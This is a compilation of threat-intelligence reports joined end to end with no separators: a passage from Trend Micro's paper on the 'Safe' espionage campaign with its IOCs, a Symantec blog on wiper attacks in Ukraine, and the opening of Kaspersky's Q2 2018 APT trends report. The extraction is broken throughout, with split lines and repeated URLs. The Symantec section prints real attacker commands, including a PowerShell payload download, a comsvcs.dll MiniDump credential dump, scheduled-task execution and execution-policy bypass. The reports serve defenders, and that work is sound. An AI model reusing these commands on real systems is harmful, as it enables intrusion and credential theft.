UPXShell: Commonly used to pack malware in order to make it more difficult for analysts to reverse-engineer.
DebugView: A Microsoft Sysinternals tool that allows you to monitor debug outputs on your local system.
Build.bat: Used to open TypeConfig and automate malware creation processes.
Compress.bat: Used to automatically compress files defined in a batch file with the aid of LZ77.exe.
PECompress.bat: Used to compress files identified in a batch file with the aid of UPXShell.exe.
8 http://www.math.sci.hiroshima-u.ac.jp/m-mat/MT/MT2002/CODES/readme-mt.txt Figure 13: DECRYPT.exes GUI with some translated content Figure 14: Password validation box that appears when the Decrypt button is pressed http://www.math.sci.hiroshima-u.ac.jp/m-mat/MT/MT2002/CODES/readme-mt.txt Safe: A Targeted Threat Source Code This section shows some of the discoveries we made while trying to identify the functionality and use cases of each application we discovered.
Nearly all of the samples were coded in C, specifically Visual C. The directory structure of the source code appeared to be standard of directories written using C, Visual Studio Express, or a litany of other tools.
The code appeared to be very robust.
We created a complete mind map of the code, its directories and the files located within the said directories.9 Figure 15: High-level directory/code structure of our findings The applications in the following section are only a few of those that contained some of the most interesting details about our findings.
9 Due to the number and depth of directories discovered, what has been included here is only a portion of the mind map we created.
Safe: A Targeted Threat TypeConfig.exe/SafeDisk.exe Source Code Analysis Figure 16: SafeDisk/TypeConfig source tree We were able to correlate similarities between TypeConfig.exe and SafeDisk.exe.
While reverse- engineering code and functionality, we discovered that the two applications were identical in function.
We have not, however, ascertained what the purpose behind differential naming is, but their functionality appeared to be very similar.
We also identified fields in TypeConfig.exe by directly correlating the code to the fields within the GUI.
Another interesting feature to note within TypeConfig.exe is its use of SafeCredential.
DAT, which the threat actors created to specify the RC4 encryption key, CC server information, and campaign mark.
Figure 17: Code identifying SafeDisk.exe Figure 18: Field lists for the GUI Figure 19: SafeCredential.
DAT utilization Safe: A Targeted Threat CC Source Code Figure 20: PHP source code tree The CC functionality was written in PHP.
The code required config.php, which contained the configuration for the MySQL database where victim information was stored global.php, which contained some mapping of strings to command numbers upload.
php, which provided the functionality for data exfiltration and utils.php, which contained the encryption functions in order to encrypt and decrypt communications between a compromised host and a CC server.
Compromised hosts and malicious operators interacted with record.php, the primary file required for CC operation.
The utils directory also contained code for extensive logging and what appeared to be repurposed legitimate code.
When compromised computers accessed record.php, they interacted with the functionality labeled CLIENT.
Operators used MANAGE commands to interact with the CC functionality.
Attribution Identifying who is responsible for targeted attacks is not an easy task.
The term attribution is applied to everything, ranging from individuals to governments.
The technical indicators often used to determine attribution like domain name registration data and geographic locations of IP addresses can be easily falsified.
Modern attackers often use hop points that consist of compromised systems as well as proxy servers and VPNs to disguise their origin.
It is trivial to purchase virtual private servers (VPSs) in just about any country, and determining who ultimately benefits from the spoils of targeted attacks is often a matter of interpretation based on geopolitics with limited exploration of possible alternative explanations.
Figure 21: Safe commands Safe: A Targeted Threat The technical indicators used to attribute attacks vary, depending on what is being analyzed.
In some cases, the term attribution is used to refer to the developers of either the exploits or malware payloads.
They could very well be completely different threat actors.
The term is also used to refer to identify the providers of CC infrastructures used in targeted attacks, particularly those that registered the domain names.
It can also refer to obtaining specific information about the campaign operators who launch attacks and operate the CC infrastructure.
This paper presents some of the technical evidence we discovered during our investigation.
We focused on two threat actor typesdevelopers and operators.
We were able to uncover clues that indicate the identity of the malware author that were left in the source code as well as through open source analysis.
We were able to obtain limited insights into the activities of the CC operators through the logs they collected, which recorded the IP addresses they used to operate and manage the CC servers.
Developers Throughout much of the code, we saw indications of its origin.
For instance, when looking at the code for the file, TypeConfig.vcproj.
INTERNAL.
[
REDACTED]04.user, located under SrcTypeConfig, we were not only able to locate the authors name but also the language setting, ?
xml version1.0 encoding gb2312?,
which refers to the registered Internet name for a key official character set of the Peoples Republic of China (PRC).10 However, other comments, especially those within the PHP code, often appeared in English.
In addition to the language used, we found that the malware author used a name in several places throughout the source code.
For instance, under the directory, SrcTypeConfig, we noticed an interesting .vcproj file called TypeConfig.vcproj.
INTERNAL.
[
REDACTED]04.user.
This file contains a remote machine configuration module that includes the authors name and the name of the development machine used, which directly correlates to CompanyName found elsewhere in the code.
10 http://en.wikipedia.org/wiki/GB_2312 Figure 22: TypeConfigs source code Figure 23: Vcproj configuration with machine name http://en.wikipedia.org/wiki/GB_2312 Safe: A Targeted Threat Figure 24: TypeConfigs source code with author information We found the string, CompanyName, in the C source code that contains the same name as the development machines.
The PHP code used as the CC servers back end contained a copyright notice that matches the authors name in the C code as well as an email address/QQ number that matches the CompanyName in the C code.
Figure 25: Copyright notice containing a name and an email address/QQ number The email address was used to register a domain name for a personal blog about software development with a Beijing street address.
We also found the same name and email address used by an author of an academic paper at a technical university in China.
Posts on this individuals personal blog also indicate a relationship with the same university, including the development of some legitimate software.
Safe: A Targeted Threat The CompanyName in the source code, portions of which are contained in the email address/QQ number, were also found in source code for keyloggers and malware posted on a Chinese code-sharing site.
We also found legitimate code that appears to have been developed by an Internet services company used as part of the CC panel.
This code was not developed by the same person that we believe developed the Safe malware but appears to simply have been reused.
We believe though that this code is not publicly available.
In the codes archive we recovered from the CC servers, we found a .csv directory that contains an entries file that contains the location of the repository as well as the time, version, and user name of the person who last committed the source code.
The author information indicates that the malware author checked the code in to the Internet services companys private SVN repository.
It appears that the malware author has been repurposing the code for his own malware project.
We believe the malware author is a professional software engineer that is familiar with version control.
We also found indicators that this individual is proficient in software development due to the high quality of the source code he used.
The entire source code was explicitly written with future development in mind.
It was modularized and heavily commented on in a way that allows further development even by several engineers.
These qualities are traditionally seen in the work of professional software engineers that have been taught traditional computer science.
Apart from being significantly well-organized and well-commented, the code was also developed with defensive programming in mind.
Each of the variables was named in a very obvious manner, helping other engineers easily distinguish functionality again, a trait seen in the work of many professional software engineers.
In addition to being heavily commented on and using intuitive variable naming conventions, the code also had an apparent slant toward usability.
Each interface was very intuitive and well-designed, something not often seen in the code of a hobbyist.
The use of terms like bot, combined with the authors posting of the malware code to code-sharing sites, indicate a degree of familiarity with the cybercriminal underground in China.
We have not, however, uncovered evidence that links the malware author with the campaigns operators.
Operators We were unable to obtain information beyond IP addresses that indicate the origin of those issuing MANAGE or other CC requests.
The extensive logging performed by the CC servers, however, allowed us to differentiate between the victims and operators IP addresses.
Figure 26: Repurposed source code Figure 27: SVN repository with user name Safe: A Targeted Threat Table 3: Geographic Locations of the Mongolbaatar CC Server Operators IP Addresses Table 4: Geographic Locations of the Getapencil CC Server Operators IP Addresses While most of the operator interactions we saw were from China and Hong Kong, we also saw the use of VPNs and proxy tools, including Tor, which contributed to the geographic diversity of the operators IP addresses.
Conclusion Ongoing cyber-espionage campaigns have been successfully infiltrating targets worldwide, many of which have been active for years.
However, the amount of public exposure, especially of noisier and larger campaigns, has been increasing.
Perhaps due to their success, these campaigns operators intensified their operations, causing them to be increasingly visible.
But smaller campaigns are beginning to emerge these use small clusters of CC servers and new malware as well as attack fewer targets.
While determining the intent and identity of the attackers often remains difficult to ascertain, we determined that the Safe campaign is targeted and uses malware developed by a professional software engineer that may be connected to the cybercriminal underground in China.
This individual studied at a prominent technical university in the same country and appears to have access to an Internet services companys source code repository.
This individual developed malware that was, in turn, used for targeted attacks leveraging two distinct sets of CC infrastructure.
Country Number of IP Addresses China 16 United States 5 Hong Kong 1 Country Number of IP Addresses South Korea 17 Hong Kong 12 China 11 United States 8 Taiwan 1 Romania 1 Safe: A Targeted Threat As the tools used in targeted attacks are exposed, attackers may look for new custom malware to circumvent defenses.
As a result, attackers may increasingly look to the cybercriminal underground for new malicious tools instead of developing their own tools for exclusive use.
These developments highlight the increasing need for ongoing investigation and monitoring of such threats.
While indicators that can be directly incorporated into defensive operations remain important, in-depth qualitative analysis of particular campaigns can provide critical insights into attackers operations.
Furthermore, attribution should not be entirely based on the common use of tools and infrastructure, as these are increasingly not being developed and used exclusively by particular sets of threat actors.
Defending Against Targeted Attacks Sufficiently motivated threat actors can penetrate even networks that use moderately advanced security measures.
As such, apart from standard and relevant attack prevention measures and mechanisms like solid patch management endpoint and network security firewall use and the like, enterprises should also focus on detecting and mitigating attacks.
Moreover, data loss prevention (DLP) strategies that identify the data an organization is protecting and take into account the context of data use should be employed.
Local and External Threat Intelligence Threat intelligence refers to indicators that can be used to identify the tools, tactics, and procedures threat actors engaging in targeted attacks use.
Both external and local threat intelligence is crucial for developing the ability to detect attacks early.
The following are the core components of this defense strategy: Enhancing visibility: Logs from endpoint, server, and network monitoring are an important and often underused resource that can be aggregated to provide a view of the activities within an organization that can be processed for anomalous behaviors, which can indicate a targeted attack.
Performing integrity checks: In order to maintain persistence, malware will make modifications to the file system and registry.
Monitoring such changes can indicate the presence of malware.
Empowering the human analyst: Humans are best positioned to identify anomalous behaviors when presented with a view of aggregated logs from across a network.
This information is used in conjunction with custom alerts based on the local and external threat intelligence available.
Technologies available today like Deep Discovery provide visibility, insight, and control over networks to defend against targeted threats.11 Deep Discovery uniquely detects and identifies evasive threats in real-time and provides in-depth analysis and actionable intelligence to prevent, discover, and reduce risks.
11 http://www.trendmicro.com/us/enterprise/security-risk-management/deep-discovery/index.html http://www.trendmicro.com/us/enterprise/security-risk-management/deep-discovery/index.html Safe: A Targeted Threat Mitigation and Cleanup Strategy Once an attack is identified, the cleanup strategy should focus on the following objectives: Determine the attack vector and cut off communications with the CC server.
Determine the scope of the compromise.
Assess the damage by analyzing the data and forensic artifacts available on compromised machines.
Remediation should be applied soon afterward, which includes steps to fortify affected servers, machines, or devices into secure states, informed in part by how the compromised machines were infiltrated.
Educating Employees Against Social Engineering Security-related policies and procedures combined with education and training programs are essential components of defense.
Traditional training methods can be fortified by simulations and exercises using real spear-phishing attempts sent to test employees.
Employees trained to expect targeted attacks are better positioned to report potential threats and constitute an important source of threat intelligence.
Data-Centric Protection Strategy The ultimate objective of targeted attacks is to acquire sensitive data.
As such, DLP strategies that focus on identifying and protecting confidential information are critical.
Enhanced data protection and visibility across an enterprise provides the ability to control access to sensitive data as well as monitor and log successful and unsuccessful attempts to access it.
Enhanced access control and logging capabilities allow security analysts to locate and investigate anomalies, respond to incidents, and initiate remediation strategies and damage assessment.
Trend Micro Threat Protection Against the Safe Campaign Part of processing and identifying the components of the Safe campaign is creating a list of indicators of compromise (IOCs) to help organizations better identify and locate certain tools, malware, and traffic patterns that could indicate compromise.
Safe: A Targeted Threat The following table summarizes the Trend Micro solutions for the components of the Safe campaign.
Trend Micro recommends a comprehensive security risk management strategy that goes further than advanced protection to meet the real-time threat management requirements of dealing with targeted attacks.
Attack Component Protection Technology Trend Micro Solution Network traffic identifiers: Network traffic going to mongolbaatarsonin.
in Network traffic going to withoutcake.com Network traffic going to mongolbaatar.us Network traffic going to getapencil.com User-agent identified as Fantasia Communication with any URL with the sub- URL, /safe/record.php Web Reputation Endpoint (Titanium, Worry-Free Business Security, OfficeScan) Server (Deep Security) Messaging (InterScan Messaging Security, ScanMail Suite for Microsoft Exchange) Network (Deep Discovery) Gateway (InterScan Web Security, InterScan Messaging Security) Mobile (Mobile Security) Host-based identifiers: Presence of SafeExt.dll on the host (commonly found in Program Files\ Internet Explorer\SafeNet\) Presence of SafeCredential.
DAT on the host (commonly found in Program Files\ Internet Explorer\SafeNet\) Presence of the directory, Program Files\Internet Explorer\SafeNet\ Modification of the following registry values: \197BD4A7-401A-424B-8B53- 401D66865829\1.0\0\win32\: C:\Program Files\Internet Explorer\SafeNet\SafeExt.dll HKU\S-1-5-21-3050518243-3448030925- 2694814405-1000_Classes\VirtualStore\ MACHINE\SOFTWARE\Classes\ TypeLib\197BD4A7-401A-424B-8B53- 401D66865829\1.0\HELPDIR\: C:\ Program Files\Internet Explorer\SafeNet\ HKU\S-1-5-21-3050518243-3448030925- 2694814405-1000_Classes\VirtualStore\ MACHINE\SOFTWARE\Classes\ TypeLib\197BD4A7-401A-424B-8B53- 401D66865829\1.0\FLAGS\: 0 HKU\S-1-5-21-3050518243-3448030925- 2694814405-1000_Classes\VirtualStore\ MACHINE\SOFTWARE\Classes\ TypeLib\197BD4A7-401A-424B-8B53- 401D66865829\1.0\: SafeExt 1.0 Type Library File Reputation (Antivirus/Anti-malware) Endpoint (Titanium, Worry-Free Business Security, OfficeScan) Server (Deep Security) Messaging (InterScan Messaging Security, ScanMail Suite for Microsoft Exchange) Network (Deep Discovery) Gateway (InterScan Web Security, InterScan Messaging Security) Mobile (Mobile Security) Safe: A Targeted Threat References http://www.trendmicro.com/cloud-content/ us/pdfs/security-intelligence/white-papers/ wp-spear-phishing-email-most-favored-apt- attack-bait.pdf http://www.cve.mitre.org/cgi-bin/cvename.
cgi?nameCVE-2012-0158 http://en.wikipedia.org/wiki/User_Account_ Control http://en.wikipedia.org/wiki/Browser_ Helper_Object http://www.nirsoft.net/ http://www.totaldefense.com/ blogs/2012/04/11/mac-os-x-threat- masquerading-as-image-files.aspx Attack Component Protection Technology Trend Micro Solution Malware files: TROJ_FAKESAFE.SMA 029b716d3ef7969819e67800d9c716f5 7d21dd42d8c83505c0ca691b84200a3d 9cd5fc340522f1f1a8a4e4008e99d893 a73cc231498079396aa93b4b2bf07293 ec11c74dd6880adeda7ef47eed272f34 TROJ_DROPER.SMA 0e431415b774178ab2c61cc8059dff37 6efbb2cf6a917495c5d0e5366bad9f00 df70528104138299ed807823353e1e23 TROJ_DROPDET.A 187de2aa89e2eeb0a16705555387e488 1bd4428c3145608c450ba77a8442ebf3 4bc95c02a7ff8d6d571d21deb3aeab15 6b4b6e649c3b19cf4334f4ea9c219417 7a16003bd4d4cab734a3f46338dd2e47 7e2ee5883cd4b2e202d52941efb9ed19 7f42ade2ec925f8c78551173626a3b94 80293c5a9c2915769438d5524fcfdb88 8503cf0484545d65998b38addb910dcd 95d7c5ec58661bd158a4a55d1af0098e 9d4633d8ecffac7257884b4ae48c2650 cb043ef81849d5bb0dbb5406320e7c76 e375089bbc34c7017c52105224ee1ba9 e5f9f4a252622029c7bbad78f8a25363 faca29ccc97aa933a048f9d6a095b7f6 TROJ_MDROP.DET 520ce270dad6e8ac722610347272dfff 939554c50dfcc4607663e60b625763ef ee610ba2e096f125da66c2db7eab014b ADW_ADSTART 5ae6024b60473559c2870cdc1f4f89da TROJ_CONNECT.DET 6f69a6c2797e9b6eb92aefe2eca0cff1 File Reputation (Antivirus/Anti-malware) Endpoint (Titanium, Worry-Free Business Security, OfficeScan) Server (Deep Security) Messaging (InterScan Messaging Security, ScanMail Suite for Microsoft Exchange) Network (Deep Discovery) Gateway (InterScan Web Security, InterScan Messaging Security) Mobile (Mobile Security) http://www.f-secure.com/v-descs/backdoor_ osx_imuler_a.shtml http://www.sophos.com/en-us/threat-center/ threat-analyses/viruses-and-spyware/ TrojLuiha-BK/detailed-analysis.aspx http://www.threatexpert.com/report.aspx?
md59d334262d146bd57a7adfb9b3e093f9f http://www.math.sci.hiroshima-u.ac.jp/m- mat/MT/MT2002/CODES/readme-mt.txt http://en.wikipedia.org/wiki/GB_2312 http://svnbook.red-bean.com/en/1.6/svn.
developer.insidewc.html http://www.trendmicro.com/us/enterprise/ security-risk-management/deep-discovery/ index.html http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-spear-phishing-email-most-favored-apt-attack-bait.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-spear-phishing-email-most-favored-apt-attack-bait.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-spear-phishing-email-most-favored-apt-attack-bait.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-spear-phishing-email-most-favored-apt-attack-bait.pdf http://www.cve.mitre.org/cgi-bin/cvename.cgi3Fname3DCVE-2012-0158 http://www.cve.mitre.org/cgi-bin/cvename.cgi3Fname3DCVE-2012-0158 http://en.wikipedia.org/wiki/User_Account_Control http://en.wikipedia.org/wiki/User_Account_Control http://en.wikipedia.org/wiki/Browser_Helper_Object http://en.wikipedia.org/wiki/Browser_Helper_Object http://www.nirsoft.net/ http://www.totaldefense.com/blogs/2012/04/11/mac-os-x-threat-masquerading-as-image-files.aspx http://www.totaldefense.com/blogs/2012/04/11/mac-os-x-threat-masquerading-as-image-files.aspx http://www.totaldefense.com/blogs/2012/04/11/mac-os-x-threat-masquerading-as-image-files.aspx http://www.f-secure.com/v-descs/backdoor_osx_imuler_a.shtml http://www.f-secure.com/v-descs/backdoor_osx_imuler_a.shtml http://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojLuiha-BK/detailed-analysis.aspx http://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojLuiha-BK/detailed-analysis.aspx http://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojLuiha-BK/detailed-analysis.aspx http://www.threatexpert.com/report.aspx3Fmd53D9d334262d146bd57a7adfb9b3e093f9f http://www.threatexpert.com/report.aspx3Fmd53D9d334262d146bd57a7adfb9b3e093f9f http://www.math.sci.hiroshima-u.ac.jp/m-mat/MT/MT2002/CODES/readme-mt.txt http://www.math.sci.hiroshima-u.ac.jp/m-mat/MT/MT2002/CODES/readme-mt.txt http://en.wikipedia.org/wiki/GB_2312 http://svnbook.red-bean.com/en/1.6/svn.developer.insidewc.html http://svnbook.red-bean.com/en/1.6/svn.developer.insidewc.html http://www.trendmicro.com/us/enterprise/security-risk-management/deep-discovery/index.html http://www.trendmicro.com/us/enterprise/security-risk-management/deep-discovery/index.html http://www.trendmicro.com/us/enterprise/security-risk-management/deep-discovery/index.html May 2013      Campaign Quick Profile: Safe Targeted attacks are attacks that appear to be intended for specific entities or organizations.
Unlike indiscriminate cybercrime attacks, spam, web threats, and the like, targeted attacks are much harder to detect because of the nature of related components and techniques.
SAFE First Seen Individual targeted attacks are not one-off attempts.
Attackers continually try to get inside the targets network.
The Safe campaign was first seen on October 2012.
Victims and Targets Targeted threats target specific industries or communities of interest in specific regions.
The Safe campaign was able to compromise government ministries, technology companies, media outlets, academic research institutions, and nongovernmental organizations.
Furthermore, it was discovered that the average number of actual victims remained at 71 per day, with few if any changes from day to day.
Operations First-stage computer intrusions often use social engineering.
Attackers custom-fit attacks to their targets.
The Safe campaign attackers used spear-phishing emails with malicious attachments.
Attackers used several malicious documents that all exploited a Microsoft Office vulnerability (i.e., CVE-2012-0158).
If opened with a version of Microsoft Word that is not up-to-date, a malicious payload is silently installed on the users computer.
In addition, one of the CC servers used in the Safe campaign was set up in such a way that the contents of the directories were viewable to anyone who accessed them.
Possible Indicators of Compromise Attackers want to remain undetected as long as possible.
A key characteristic of targeted attacks is stealth.
Below is a list of the components of the Safe campaign.
Network traffic identifiers: Network traffic going to mongolbaatarsonin.
in Network traffic going to withoutcake.com Network traffic going to mongolbaatar.us Network traffic going to getapencil.com User-agent identified as Fantasia Communication with any URL with the sub- URL, /safe/record.php Host-based identifiers: Presence of SafeExt.dll on the host (commonly found in Program Files\ Internet Explorer\SafeNet\) Presence of SafeCredential.
DAT on the host (commonly found in Program Files\ Internet Explorer\SafeNet\) Presence of the directory, Program Files\Internet Explorer\SafeNet\ Modification of certain registry values Malware files: TROJ_FAKESAFE.SMA TROJ_DROPER.SMA TROJ_DROPDET.A TROJ_MDROP.DET ADW_ADSTART TROJ_CONNECT.DET More information on the Safe campaign can be seen in the Trend Micro research paper, Safe: A Targeted Threat.
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-safe-a-targeted-threat.pdf TREND MICRO Trend Micro Incorporated, a global cloud security leader, creates a world safe for exchanging digital information with its Internet content security and threat management solutions for businesses and consumers.
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http://www.trendmicro.com http://www.trendmicro.com http://www.trendmicro.com Introduction Attack Vector Malware First Stage Second Stage Plug-Ins Tools CC Campaign Connections Identification of Victims Tools TypeConfig/SafeDisk DECRYPT.exe Common Tools Source Code TypeConfig.exe/SafeDisk.exe Source Code Analysis CC Source Code Attribution Developers Operators Conclusion Defending Against Targeted Attacks Local and External Threat Intelligence Mitigation and Cleanup Strategy Educating Employees Against Social Engineering Data-Centric Protection Strategy Trend Micro Threat Protection Against the SafeNet Campaign References
1/2 Ukraine: Disk-wiping Attacks Precede Russian Invasion symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia UPDATE February 24, 2022, 13:42: This blog has been updated with details about ransomware being used as a possible decoy during some wiper attacks.
A new form of disk-wiping malware (Trojan.
Killdisk) was used to attack organizations in Ukraine shortly before the launch of a Russian invasion this morning (February 24).
Symantec, a division of Broadcom Software, has also found evidence of wiper attacks against machines in Lithuania.
Sectors targeted included organizations in the financial, defense, aviation, and IT services sectors.
Trojan.
Killdisk comes in the form of an executable file, which is signed by a certificate issued to Hermetica Digital Ltd.
It contains 32-bit and 64-bit driver files which are compressed by the Lempel-Ziv algorithm stored in their resource section.
The driver files are signed by a certificate issued to EaseUS Partition Master.
The malware will drop the corresponding file according to the operating system (OS) version of the infected system.
Driver file names are generated using the Process ID of the wiper Once run, the wiper will damage the Master Boot Record (MBR) of the infected computer, rendering it inoperable.
The wiper does not appear to have any additional functionality beyond its destructive capabilities.
Attack chain Initial indications suggest that the attacks may have been in preparation for some time.
Temporal evidence points to potentially related malicious activity beginning as early as November 2021.
However, we are continuing to review and verify findings.
In the case of an attack against one organization in Ukraine, the attackers appear to have gained access to the network on December 23, 2021, via malicious SMB activity against a Microsoft Exchange Server.
This was immediately followed by credential theft.
A web shell was also installed on January 16, before the wiper was deployed on February 23.
An organization in Lithuania was compromised from at least November 12, 2021, onwards.
It appears the attackers may have leveraged a Tomcat exploit in order to execute a PowerShell command.
The decoded PowerShell was used to download a JPEG file from an internal server, on the victims network.
cmd.exe /Q /c powershell -c (New-Object System.
Net.
WebClient).DownloadFile(hxxp://192.168.3.13/email.jpeg,CSIDL_SYSTEM_DRIVE\temp\sys.tmp1) 1 \\127.0.0.1\ADMIN\__1636727589.6007507 21 A minute later, the attackers created a scheduled task to execute a suspicious postgresql.exe file, weekly on a Wednesday, specifically at 11:05 local-time.
The attackers then ran this scheduled task to execute the task.
cmd.exe /Q /c move CSIDL_SYSTEM_DRIVE\temp\sys.tmp1 CSIDL_WINDOWS\policydefinitions\postgresql.exe 1 \\127.0.0.1\ADMIN\__1636727589.6007507 21 schtasks /run /tn \Microsoft\Windows\termsrv\licensing\TlsAccess Nine minutes later, the attackers modified the scheduled task to execute the same postgres.exe file at 09:30 local-time instead.
Beginning on February 22, Symantec observed the file postgresql.exe being executed and used to perform the following: Execute certutil to check connectivity to trustsecpro[.
]com and whatismyip[.
]com Execute a PowerShell command to download another JPEG file from a compromised web server - confluence[.]novus[.
]ua https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://software.broadcom.com/ 2/2 Following this activity, PowerShell was used to dump credentials from the compromised machine: cmd.exe /Q /c powershell -c rundll32 C:\windows\system32\comsvcs.dll MiniDump 600 C:\asm\appdata\local\microsoft\windows\winupd.log full 1 \\127.0.0.1\ADMIN\__1638457529.1247072 21 Later, following the above activity, several unknown PowerShell scripts were executed.
powershell -v 2 -exec bypass -File text.ps1 powershell -exec bypass gp.ps1 powershell -exec bypass -File link.ps1 Five minutes later, the wiper (Trojan.
KillDisk) was deployed.
Ransomware decoy In several attacks Symantec has investigated to date, ransomware was also deployed against affected organizations at the same time as the wiper.
As with the wiper, scheduled tasks were used to deploy the ransomware.
File names used by the ransomware included client.exe, cdir.exe, cname.exe, connh.exe, and intpub.exe.
It appears likely that the ransomware was used as a decoy or distraction from the wiper attacks.
This has some similarities to the earlier WhisperGate wiper attacks against Ukraine, where the wiper was disguised as ransomware.
By GReAT APT Trends Report Q2 2018 securelist.com/apt-trends-report-q2-2018/86487 In the second quarter of 2017, Kaspersky Labs Global Research and Analysis Team (GReAT) began publishing summaries of the quarters private threat intelligence reports, in an effort to make the public aware of the research we have been conducting.
This report serves as the latest installment, focusing on the relevant activities that we observed during Q2 2018.
These summaries are a representative snapshot of what has been discussed in greater detail in our private reports.
They aim to highlight the significant events and findings that we feel people should be aware of.
For brevitys sake, we are choosing not to publish indicators associated with the reports highlighted.
However, readers who would like to learn more about our intelligence reports or request more information on a specific report are encouraged to contact: intelreportskaspersky.com.
Remarkable new findings We are always interested in analyzing new techniques used by existing groups, or in finding new clusters of activity that might lead us to discover new actors.
Q2 2018 was very interesting in terms of APT activity, with a remarkable campaign that reminds us how real some of the threats are that we have been predicting over the last few years.
In particular, we have warned repeatedly how ideal networking hardware was for targeted attacks, and that we had started seeing the first advanced sets of activity focusing on these devices.
In terms of well-known groups, Asian actors were the most active by far.
Lazarus/BlueNoroff was suspected of targeting financial institutions in Turkey as part of a bigger cyberespionage campaign.
The same actor was also suspected of a campaign against an online casino in Latin America that ended in a destructive attack.
Based on our telemetry, we further observed Lazarus targeting financial institutions in Asia.
Lazarus has accumulated a large collection of artefacts over the last few years, in some cases with heavy code reuse, which makes it possible to link many newly found sets of activity to this actor.
One such tool is the Manuscrypt malware, used exclusively by Lazarus in many recent attacks.
The US-CERT released a warning in June about a new version of Manuscrypt they call TYPEFRAME.
1/6 https://securelist.com/apt-trends-report-q2-2018/86487/ mailto:intelreportskaspersky.com https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/ https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/ https://www.us-cert.gov/ncas/analysis-reports/AR18-165A https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/07/09154452/180709-APT-Trends-report-Q2-2018-1.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/07/09154503/180709-APT-Trends-report-Q2-2018-2.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/07/09154509/180709-APT-Trends-report-Q2-2018-3.png US-CERT alert on Manuscrypt/TYPEFRAME malware used by Lazarus Even if it is unclear what the role of Lazarus will be in the new geopolitical landscape, where North Korea is actively engaged in peace talks, it would appear that financially motivated activity (through the BlueNoroff and, in some cases, the Andariel subgroup) continues unabated.
Possibly even more interesting is the relatively intense activity by Scarcruft, also known as Group123 and Reaper.
Back in January, Scarcruft was found using a zero-day exploit, CVE- 2018-4878 to target South Korea, a sign that the groups capabilities were increasing.
In the last few months, the use of Android malware by this actor has been discovered, as well as a new campaign where it spreads a new backdoor we call POORWEB.
Initially, there was suspicion that Scarcruft was also behind the CVE-2018-8174 zero day announced by Qihoo360.
We were later able to confirm the zero day was actually distributed by a different APT group, known as DarkHotel.
The overlaps between Scarcruft and Darkhotel go back to 2016 when we discovered Operation Daybreak and Operation Erebus.
In both cases, attacks leveraged the same hacked website to distribute exploits, one of which was a zero day.
We were later able to separate these as follows: Operation Exploit Actor Daybreak CVE-2016-4171 DarkHotel Erebus CVE-2016-4117 Scarcruft 2/6 https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence26998 http://blogs.360.cn/blog/cve-2018-8174-en/ https://securelist.com/the-darkhotel-apt/66779/ https://securelist.com/cve-2016-4171-adobe-flash-zero-day-used-in-targeted-attacks/75082/ DarkHotels Operation Daybreak relied on spear-phishing emails predominantly targeting Chinese victims with a Flash Player zero day.
Meanwhile, Scarcrufts Operation Erebus focused primarily on South Korea.
Analysis of the CVE-2018-8174 exploit used by DarkHotel revealed that the attacker was using URLMoniker to invoke Internet Explorer through Microsoft Word, ignoring any default browser preferences on the victims computer.
This is the first time we have observed this.
It is an interesting technique that we believe may be reused in future for different attacks.
For more details check our Securelist Blog: The King is Dead.
Long Live the King.
We also observed some relatively quiet groups coming back with new activity.
A noteworthy example is LuckyMouse (also known as APT27 and Emissary Panda), which abused ISPs in Asia for waterhole attacks on high profile websites.
We wrote about LuckyMouse targeting national data centers in June.
We also discovered that LuckyMouse unleashed a new wave of activity targeting Asian governmental organizations just around the time they had gathered for a summit in China.
Still, the most notable activity during this quarter is the VPNFilter campaign attributed by the FBI to the Sofacy and Sandworm (Black Energy) APT groups.
The campaign targeted a large array of domestic networking hardware and storage solutions.
It is even able to inject malware into traffic in order to infect computers behind the infected networking device.
We have provided an analysis on the EXIF to C2 mechanism used by this malware.
3/6 https://securelist.com/root-cause-analysis-of-cve-2018-8174/85486/ https://securelist.com/root-cause-analysis-of-cve-2018-8174/85486/ https://securelist.com/luckymouse-hits-national-data-center/86083/ https://securelist.com/vpnfilter-exif-to-c2-mechanism-analysed/85721/ This campaign is one of the most relevant examples we have seen of how networking hardware has become a priority for sophisticated attackers.
The data provided by our colleagues at Cisco Talos indicates this campaign was at a truly global level.
We can confirm with our own analysis that traces of this campaign can be found in almost every country.
Activity of well-known groups It seems that some of the most active groups from the last few years have reduced their activity, although this does not mean they are less dangerous.
For instance, it was publicly reported that Sofacy started using new, freely available modules as last stagers for some victims.
However, we observed how this provided yet another innovation for their arsenal, with the addition of new downloaders written in the Go programming language to distribute Zebrocy.
There is possibly one notable exception to this supposed lack of activity.
After the Olympic Destroyer campaign last January against the Pyeongchang Winter Olympic games, we observed new suspected activity by the same actor (we tentatively called them Hades) in Europe.
This time, it seems the targets are financial organizations in Russia, and biological and chemical threat prevention laboratories in Europe and Ukraine.
But even more interesting is the resemblance between the TTPs and OPSEC of the Olympic Destroyer set of activity and those of Sofacy.
Olympic Destroyer is a master of deception, so this may be yet another false flag, but so far we connect, with low to medium confidence, 4/6 https://securelist.com/olympic-destroyer-is-still-alive/86169/ the Hades group activity to Sofacy.
One of the most interesting attacks we detected was an implant from Turla (attributed to this actor with medium confidence) that we call LightNeuron.
This new artefact directly targets Exchange Servers and uses legitimate standard calls to intercept emails, exfiltrate data and even send mails on behalf of the victims.
We believe this actor has been using this technique since maybe as early as 2014, and that there is a version affecting Unix servers running Postfix and Sendmail.
So far we have seen victims of this implant in the Middle East and Central Asia.
Newcomers and comebacks Every now and then, we are surprised to see old actors that have been dormant for months or even years distributing new malware.
Obviously, this may be caused by a lack of visibility, but regardless of that, it indicates that these actors are still active.
